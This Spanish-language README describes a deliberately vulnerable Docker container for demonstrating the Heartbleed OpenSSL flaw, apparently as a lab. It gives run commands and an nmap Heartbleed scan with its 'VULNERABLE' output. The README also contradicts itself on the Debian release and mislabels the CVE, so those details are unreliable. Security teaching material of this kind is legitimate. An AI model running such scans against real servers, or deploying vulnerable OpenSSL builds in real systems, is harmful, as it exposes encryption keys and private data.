Vulnerabilidad como servicio: mostrando CVS-2014-0160, a.k.a. Heartbleed
Un sistema Linux Debian (Wheezy) con una versión vulnerable de libssl y openssl y un servidor web para mostrar CVS-2014-0160, también conocido como Heartbleed.
Este contenedor Docker está basado en Debian Jessie y ha sido modificado para usar una versión vulnerable de libssl y openssl.
Se sirve una página web estática simple mediante Apache 2.
Instale el contenedor con docker pull hmlio/vaas-cve-2014-0160
Ejecute el contenedor con un mapeo de puertos docker run -d -p 8443:443 hmlio/vaas-cve-2014-0160
Debería poder acceder a la aplicación web en http://your-ip:8443/.
La versión del servidor web/openssl/libssl vulnerable se puede verificar y explotar como se muestra a continuación (se recomienda usar una máquina Kali):
root@kali:~/vaas-cve-2014-0160# nmap -sV -p 8443 --script=ssl-heartbleed your-ip

| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
